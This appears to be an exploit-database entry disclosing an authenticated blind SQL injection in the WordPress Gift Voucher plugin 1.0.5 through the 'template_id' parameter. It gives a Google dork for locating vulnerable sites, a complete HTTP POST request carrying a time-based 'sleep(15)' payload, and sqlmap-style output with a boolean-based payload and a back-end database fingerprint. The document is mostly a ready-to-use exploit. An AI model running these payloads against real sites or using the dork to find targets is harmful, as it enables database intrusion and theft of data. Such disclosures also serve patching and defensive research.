WordPress Plugin Gift Voucher 1.0.5 - (Authenticated) 'template_id' SQL Injection

# Exploit Title: WordPress Plugin Gift Voucher 1.0.5 - 'template_id' SQL Injection
# Google Dork: intext:"/wp-content/plugins/gift-voucher/"
# Date: 2018-08-23
# Exploit Author: Renos Nikolaou
# Software Link: https://wordpress.org/plugins/gift-voucher/
# Vendor Homepage: http://www.codemenschen.at/
# Version: 1.0.5
# Tested on: Windows 10
# CVE: N/A
# Description : The vulnerability allows an attacker to inject sql commands 
# on 'template_id' parameter.

# PoC - Blind SQLi :

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: domain.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://domain.com/gift-voucher/
Content-Length: 62
Cookie: PHPSESSID=efa4of1gq42g0nd9nmj8dska50; __stripe_mid=1f8c5bef-b440-4803-bdd5-f0d0ea22007e; __stripe_sid=de547b6b-fa31-46a1-972b-7b3324272a23
Connection: close

action=wpgv_doajax_front_template&template_id=1 and sleep(15)#

Parameter: template_id (POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: action=wpgv_doajax_front_template&template_id=1 AND 4448=4448
    Vector: AND [INFERENCE]
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web application technology: Apache
back-end DBMS: MySQL >= 5.0.0
banner:    '5.5.59'